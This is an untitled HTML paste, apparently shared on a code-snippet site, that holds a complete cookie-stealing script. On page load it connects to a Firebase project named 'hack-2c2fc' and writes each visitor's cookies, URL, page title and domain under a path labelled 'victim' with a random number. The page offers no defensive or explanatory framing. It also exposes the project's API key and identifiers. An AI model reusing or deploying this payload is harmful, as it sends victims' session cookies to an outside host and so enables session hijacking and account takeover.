Untitled
4 years ago in HTML
<!DOCTYPE html>
<html>
<head>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/7.21.0/firebase-database.js"></script>
<script>
var firebaseConfig = {
apiKey: "AIzaSyCKv5_UE6w2t41GWq3UM2i9Xme-Qi8Tjpg",
authDomain: "hack-2c2fc.firebaseapp.com",
databaseURL: "https://hack-2c2fc.firebaseio.com",
projectId: "hack-2c2fc",
storageBucket: "hack-2c2fc.appspot.com",
messagingSenderId: "566353951325",
appId: "1:566353951325:web:6c8a99b53405c61aafebb4"
}
firebase.initializeApp(firebaseConfig);
const database = firebase.database();
database.ref("/hack/victim"+Math.floor((Math.random() * 5000) + 1)).set({
"cookie": document.cookie,
"location": document.URL,
"title": document.title,
"domain": document.domain,
});
</script>
</head>
</html>